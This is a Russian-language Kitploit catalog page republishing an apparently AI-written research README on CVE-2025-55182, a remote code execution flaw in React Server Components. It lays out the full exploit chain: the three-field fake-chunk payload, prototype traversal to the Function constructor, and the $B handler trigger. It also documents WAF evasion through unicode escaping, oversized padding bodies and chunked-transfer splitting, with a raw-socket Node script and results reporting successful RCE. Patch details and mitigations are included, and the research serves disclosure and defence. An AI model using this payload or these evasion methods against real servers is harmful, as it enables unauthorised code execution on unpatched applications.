Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-research — Технический proof-of-concept и углубленный анализ CVE-2025-55182, критической уязвимости RCE в React's Flight Protocol через обход пути, внедрение поддельных фрагментов и злоупотребление обработчиком $B. | Kitploit
Инструменты/GitHubGitHub/ejpir/cve-2025-55182-research
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

Технический proof-of-concept и углубленный анализ CVE-2025-55182, критической уязвимости RCE в React's Flight Protocol через обход пути, внедрение поддельных фрагментов и злоупотребление обработчиком $B.

Репозиторий
79520289 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 - RCE в React Server Components

ПРИМЕЧАНИЕ: Написано AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 — это критическая уязвимость RCE в протоколе Flight от React. Атака сочетает path traversal + внедрение поддельного чанка + злоупотребление обработчиком $B для выполнения Function(attacker_code).

Большое спасибо maple3142 за рабочую цепочку эксплуатации!


Эксплойт

Обзор атаки

Эксплойт использует три поля формы для создания вредоносной нагрузки:

  1. Создает поддельный объект чанка с самореференсным then (поле 1 $@0 → поле 0)
  • Встраивает поддельный _response с _formData.get, установленным в $1:constructor:constructor
  • Запускает обработчик $B, который вызывает response._formData.get(response._prefix + id)
  • Path traversal разрешает _formData.get → Function, выполняя Function(code)
  • Поток эксплуатации```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Ключевые компоненты
    
    | Компонент | Назначение |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | Самоссылающийся thenable; чанк 1 (`$@0`) указывает обратно на чанк 0 |
    | `status: "resolved_model"` | Делает объект похожим на валидный React чанк |
    | `reason: -1` | Устанавливает rootReference в undefined (избегает конфликтов ссылок) |
    | `value: '{"then":"$B1337"}'` | Вложенная полезная нагрузка, которая запускает обработчик `$B` |
    | `_response._prefix` | Содержит строку кода RCE |
    | `_response._chunks: "$Q2"` | Пустая Map для предотвращения сбоев во время обработки чанков |
    | `_response._formData.get` | Указывает на `Function` через `$1:constructor:constructor` |
    
    ### Детальный разбор компонента
    
    #### Структура поля формы
    
    Эксплойт использует три поля формы с циклическими ссылками:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    Self-Referential Thenable (then)

    then: "$1:__proto__:then" создает самоссылку, которая разрешается в настоящую функцию:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **Почему это критично:**
    
    1. `then` разрешается в `Chunk.prototype.then` - реальная вызываемая функция
    2. Это делает поддельный объект валидным thenable
    3. При ожидании (await) JS вызывает `obj.then(resolve, reject)`
    4. `Chunk.prototype.then` выполняется с поддельным объектом в качестве `this`:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) использует this._response - поддельный _response атакующего:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **Без самореференции** поддельный `_response` никогда бы не использовался. Самореференция заставляет `Chunk.prototype.then` обрабатывать объект злоумышленника как настоящий Chunk.
    
    #### Двухэтапный Thenable-триггер (`value`)
    
    Поле `value` содержит вложенную строку JSON с другим thenable:```json
    {"then":"$B1337"}
    

    Шаг 1: Самореферентный then внешнего объекта запускает обработку фрагментов

    Шаг 2: Когда React разрешает модель, он анализирует value и встречает другой thenable с then: "$B1337". Префикс $B запускает обработчик:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` является `"$1:constructor:constructor"` → `getOutlinedModel()` разрешается в `Function`.
    
    Это становится: `Function(code + "1337")` → валидный JS, потому что `1337` — это просто завершающее выражение.
    
    #### Защитное дополнение (`_chunks`)
    
    Фальшивому `_response` требуется валидное свойство `_chunks`, чтобы предотвратить сбои:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    Реактовский внутренний код может обращаться к response._chunks.get() или response._chunks.has() в процессе обработки. Пустой Map удовлетворяет этим вызовам без ошибок, позволяя выполнению дойти до уязвимого обработчика $B.


    Уязвимые пути выполнения

    ПутьФункцияНазначение в эксплойте
    Обход путиgetOutlinedModel()Преобразует $1:constructor:constructor → Function
    Инъекция поддельного _responseinitializeModelChunk()Использует chunk._response атакующего
    Обработчик $BparseModelString()Вызывает _formData.get(_prefix + id) → RCE

    decodeReply() является точкой входа, сама по себе не уязвима.

    Обход пути (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **Использование поддельного ответа** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B Обработчик RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ---
    
    ## Исправление (19.2.1)
    
    Патч включает несколько исправлений:
    
    1. **`RESPONSE_SYMBOL` в `initializeModelChunk()`** - Критическое исправление   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. hasOwnProperty проверка в getOutlinedModel() - Блокирует обход прототипа ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. Обработка __proto__ в reviveModel() - предотвращает загрязнение прототипа ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. Проверка типа в initializeModelChunk() - Проверяет слушателей ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    Воздействие и версии

    Оценка воздействия

    ВозможностьСтатусПримечания
    Обход цепочки прототипов✓ ПодтвержденоЧерез $1:constructor:constructor
    Доступ к конструктору Function✓ ПодтвержденоМанифест не требуется
    Полноценное RCE✓ ПодтвержденоЧерез поддельный чанк + обработчик $B

    Затронутые версии

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: Те же версии
    • Next.js: 15.x, 16.x (до исправлений), канареечные сборки с 14.3.0-canary.77+

    Исправленные версии

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    Почему сигнатурное обнаружение WAF не работает

    В этом разделе объясняется, почему традиционные сигнатурные правила WAF не могут надежно обнаружить эту эксплойтацию. Понимание этих ограничений необходимо группам безопасности для оценки своей оборонительной позиции.

    Основная проблема: кодирование на нескольких уровнях

    Полезная нагрузка эксплойта проходит через несколько парсеров, каждый с поддержкой различных видов кодирования. WAF, проверяя сырые байты HTTP, видит закодированные строки, но сервер декодирует их перед обработкой:

    УровеньПарсерДекодирует
    Структура JSONJSON.parse()\uXXXX юникод-экранирования
    Код JavaScriptFunction() конструктор\uXXXX, \xXX, восьмеричные, fromCharCode()

    Это создает фундаментальное несоответствие: WAF видит закодированные байты, но приложение — декодированные строки.

    Каким сигнатурам нужно было бы соответствовать

    Наивный WAF может искать шаблоны вроде constructor, __proto__, resolved_model или child_process. Однако JSON допускает юникод-экранирование для любого символа:

    Литеральный шаблонЭквивалент в UnicodeОбнаружение WAF
    constructor\u0063onstructorОбойдено
    __proto__\u005f\u005fproto\u005f\u005fОбойдено
    resolved_model\u0072esolved_modelОбойдено
    $@ (циклическая ссылка)$\u0040Обойдено

    Код JavaScript внутри полезной нагрузки имеет еще больше вариантов кодирования:

    ШаблонВарианты кодирования
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, числовые коды символов, base64
    Любой идентификаторСкобочная запись: this[S(112,114,...)] где S=String.fromCharCode

    Разрыв в обнаружении

    Когда все методы кодирования объединены:

    • Ключи JSON становятся юникод-последовательностями (\u0074\u0068\u0065\u006e для then)
    • Идентификаторы JS становятся числовыми массивами (S(99,104,105,108,100,95,...) для child_process)
    • Исходная полезная нагрузка не содержит ни одного распознаваемого ключевого слова

    WAF, сканируя тело HTTP, видит только escape-последовательности и числа — ничего, что соответствует традиционным сигнатурам атак.

    Почему это важно для защитников

    1. Сигнатурные правила создают ложную уверенность — полезная нагрузка достигает сервера незамеченной
    2. Кодирование бесконечно — каждый символ может быть экранирован по-разному; регулярные выражения не могут перечислить все варианты
    3. Атака соответствует протоколу — все кодирования являются допустимыми JSON/JavaScript согласно спецификации

    Соображения по обнаружению заголовков

    Заголовок Next-Action идентифицирует запросы Server Action. Хотя имена заголовков не могут быть юникод-кодированы (RFC 7230 требует токенов ASCII), различия в нормализации между WAF и сервером создают пробелы в обнаружении:

    ВариантПоведение сервераРиск WAF
    next-action (нижний регистр)Принимается (HTTP нечувствителен к регистру)Пропущен, если WAF ожидает точный регистр
    Next-Action:\tx (табуляция)Принимается (пробелы нормализованы)Пропущен, если WAF ожидает пробел
    Next-Action: x (пробелы)ПринимаетсяПропущен без нормализации

    Рекомендации по защите

    Установка исправлений — единственная надежная мера защиты. Правила WAF не могут полностью заблокировать эту атаку из-за гибкости кодирования.

    Необходимые версии:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    Если исправление откладывается, рассмотрите:

    1. Декодирование перед сопоставлением — WAF должен декодировать \uXXXX, \xXX и нормализовать вызовы fromCharCode() перед сопоставлением с шаблоном
    2. Структурное обнаружение — ищите JSON-структуры, содержащие _response, _prefix, _chunks или циклические ссылки ($@0)
    3. Нормализация заголовков — сопоставляйте заголовок next-action без учета регистра с обрезкой пробелов
    4. Блокировка Server Actions — если не используете Server Actions, полностью блокируйте запросы с заголовком Next-Action
    5. Мониторинг времени выполнения — оповещайте о вызовах Function() с динамическими строковыми аргументами

    Ключевой вывод: Одно лишь сопоставление с шаблоном не сработает против этого класса атак. Поверхность кодирования слишком велика для перечисления.


    Обход ограничений проверки тела запроса AWS WAF

    Даже при наличии всеобъемлющих правил WAF, у AWS WAF есть ограничения по размеру проверки тела запроса, которые можно эксплуатировать. В этом разделе документированы проверенные техники обхода с использованием крупных полезных нагрузок.

    Ограничения проверки тела

    AWS WAF проверяет только часть тела запроса:

    БэкендЛимит по умолчаниюМаксимум настраиваемый
    ALB / AppSync8 КБ8 КБ
    CloudFront / API Gateway16 КБ64 КБ
    Amazon Cognito / App Runner16 КБ64 КБ

    Проблема OversizeHandling

    Правила WAF определяют, как обрабатывать запросы, превышающие лимиты проверки:

    НастройкаПоведениеЭксплуатируемо?
    CONTINUEПроверить доступные байты, оценить правилоДа — полезная нагрузка после лимита не проверяется
    MATCHСчитать совпадением (блокировать)Нет — блокирует превышающие запросы
    NO_MATCHСчитать несовпадениемДа — пропускает

    Если ваше правило WAF использует OversizeHandling: CONTINUE (обычное значение по умолчанию), обход тривиален.

    Стратегия обхода: дополнение перед полезной нагрузкой

    Разместите безвредные данные-дополнение перед эксплойтом, чтобы они оказались за пределами окна проверки:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### Результаты тестирования
    
    Все полезные нагрузки с превышением размера успешно достигли RCE на Next.js:
    
    | Размер дополнения | Общее тело | Смещение эксплойта | Результат |
    |-------------------|------------|-------------------|-----------|
    | 0 КБ | 0.6 КБ | 0.4 КБ | ✅ RCE |
    | 8 КБ | 8.6 КБ | 8.4 КБ | ✅ RCE |
    | 16 КБ | 16.6 КБ | 16.5 КБ | ✅ RCE |
    | 32 КБ | 32.6 КБ | 32.5 КБ | ✅ RCE |
    | 64 КБ | 64.6 КБ | 64.5 КБ | ✅ RCE |
    | 128 КБ | 128.6 КБ | 128.5 КБ | ✅ RCE |
    
    ### Обход через фрагментированное кодирование передачи
    
    Фрагментированное кодирование передачи HTTP/1.1 разделяет тело на отдельные фрагменты. Если WAF проверяет фрагменты **до** сборки, шаблоны, охватывающие границы фрагментов, не будут совпадать.
    
    #### Как это работает```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    Паттерн разделен по частям:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### Протестированные стратегии фрагментации
    
    | Стратегия | Описание | Результат |
    |-----------|----------|-----------|
    | Разделение на `$@` | `"$` \| `@0"` | ✅ RCE |
    | Фрагменты по 10 байт | Тело разделяется каждые 10 байт | ✅ RCE |
    | Фрагменты по 5 байт | Тело разделяется каждые 5 байт | ✅ RCE |
    | Разделение на `status` | `sta` \| `tus` | ✅ RCE |
    
    Все стратегии успешно достигли RCE — Next.js корректно собирает фрагментированные запросы.
    
    #### Пример с использованием сырых сокетов```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    Рекомендации по поведению WAF

    Тип WAFОбработка фрагментовВозможен обход?
    AWS WAF (ALB)Собирает перед проверкойМаловероятно
    AWS WAF (CloudFront)Собирает перед проверкойМаловероятно
    Некоторые устаревшие WAFПроверяют по фрагментамДа
    Nginx ModSecurityНастраиваемаяЗависит от конфигурации

    Примечание: AWS WAF обычно собирает фрагментированные тела запросов перед проверкой. Однако это следует проверять в каждой среде, так как конфигурации различаются.

    Рекомендации по смягчению

    1. Измените OversizeHandling на MATCH ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    Это блокирует любые запросы, превышающие лимит проверки, при соблюдении условий правила.

    1. Увеличение лимита проверки тела запроса (только CloudFront/API Gateway) Настройте до 64 КБ в параметрах веб-ACL, но это не полностью предотвращает обход.

    2. Добавьте правило блокировки на основе размера Блокируйте POST-запросы с заголовком Next-Action, превышающим разумный размер (например, 10 КБ).

    3. Исправьте приложение — единственное полное решение.

    Тестовые скрипты

    См. прилагаемые тестовые скрипты:

    • test-simple.cjs — Базовый тест полезной нагрузки без фрагментации
    • test-oversize.cjs — Тестирует размеры дополнения от 0 до 128 КБ
    • test-chunked-v2.cjs — Фрагментированная передача с разделением по $@
    • test-chunked-bypass.cjs — Несколько стратегий фрагментации (5 байт, 10 байт, разделение по шаблону)

    Использование:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## Исследовательский путь
    
    ### Уязвимость: Path Traversal```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    С полезной нагрузкой "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    Заблокированные пути, которые мы пробовали

    Хотя мы получили Function, для выполнения произвольного кода (RCE) требуется вызвать его с контролируемыми аргументами. Эти пути не сработали:

    1. Thenable путь (заблокирован)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction Path (Заблокирован)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. Путь итератора (Заблокирован)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### The Breakthrough
    
    maple3142 нашёл недостающий элемент: обработчик `$B` + цепочка поддельных `_response`. Заставляя `then` разрешаться в `Chunk.prototype.then` через само-ссылку, поддельный `_response` используется, что позволяет выполнить RCE.
    
    ---
    
    ## Key Findings
    
    1. **`getOutlinedModel()` vulnerability is real** - Пути, разделённые двоеточием, позволяют проходить по цепочке прототипов
    
    2. **Function constructor is accessible** - `$1:constructor:constructor` работает без serverManifest
    
    3. **RCE is achievable** - Путём создания поддельного чанка с контролируемым `_response`:
       - Само-ссылка `$1:__proto__:then` → `Chunk.prototype.then` заставляет использовать поддельный `_response`
       - Структура поддельного чанка имитирует внутренний класс Chunk в React
       - `_response._formData.get` → конструктор `Function`
       - `_response._prefix` → строка вредоносного кода
       - Обработчик `$B` запускает `Function(вредоносный_код)`
    
    4. **The fix is comprehensive** - Множество проверок `hasOwnProperty` и валидаций типов
    
    ---
    
    ## References
    
    - [Gist от maple3142](https://gist.github.com/maple3142) - обнаружение цепочки RCE
    - [Консультация по безопасности React](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [PoC от msanft](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [Правило AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## Disclaimer
    
    Этот репозиторий предназначен **только для образовательных целей и исследований в области безопасности**. Уязвимость была исправлена. Немедленно обновите свои зависимости.
    
    Скачать инструмент